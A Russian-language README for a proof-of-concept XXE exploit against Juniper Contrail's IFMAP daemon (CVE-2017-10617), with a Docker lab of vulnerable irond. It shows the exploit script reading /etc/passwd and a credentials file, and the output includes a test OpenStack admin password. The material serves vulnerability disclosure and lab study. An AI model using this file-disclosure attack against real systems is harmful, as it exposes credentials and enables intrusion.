
Proof-of-concept эксплойт для уязвимости XXE в Juniper Contrail (CVE-2017-10617) с лабораторной средой на базе Docker, демонстрирующей раскрытие локальных файлов и извлечение учётных данных.
Эти две уязвимости затрагивают Juniper Contrail версии 2.2, 3.0, 3.1 и 3.2:
Бюллетень безопасности вендора можно найти по адресу Juniper Security Alert JSA10819 2017-10.
Уязвимый сервис в продукте Contrail — это демон IFMAP, который упакован из irond. Чтобы не усложнять, продолжим с irond и эксплуатацией уязвимости XXE.
Мы все любим играть. Чтобы собрать образ:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
Образ основан на maven alpine image с клоном репозитория irond.
Тестовый файл, соответствующий настройкам Contrail, помещается в уязвимый образ по пути /etc/contrail/openstackrc. Этот файл содержит пароль администратора OpenStack, что является довольно чувствительным активом.
Чтобы запустить уязвимый сервис IFMAP:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
Теперь сервис IFMAP доступен на порту 8443 локальной машины.
После настройки уязвимого сервиса IFMAP выполните следующее:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
Это эффективно раскрывает пароль администратора OpenStack.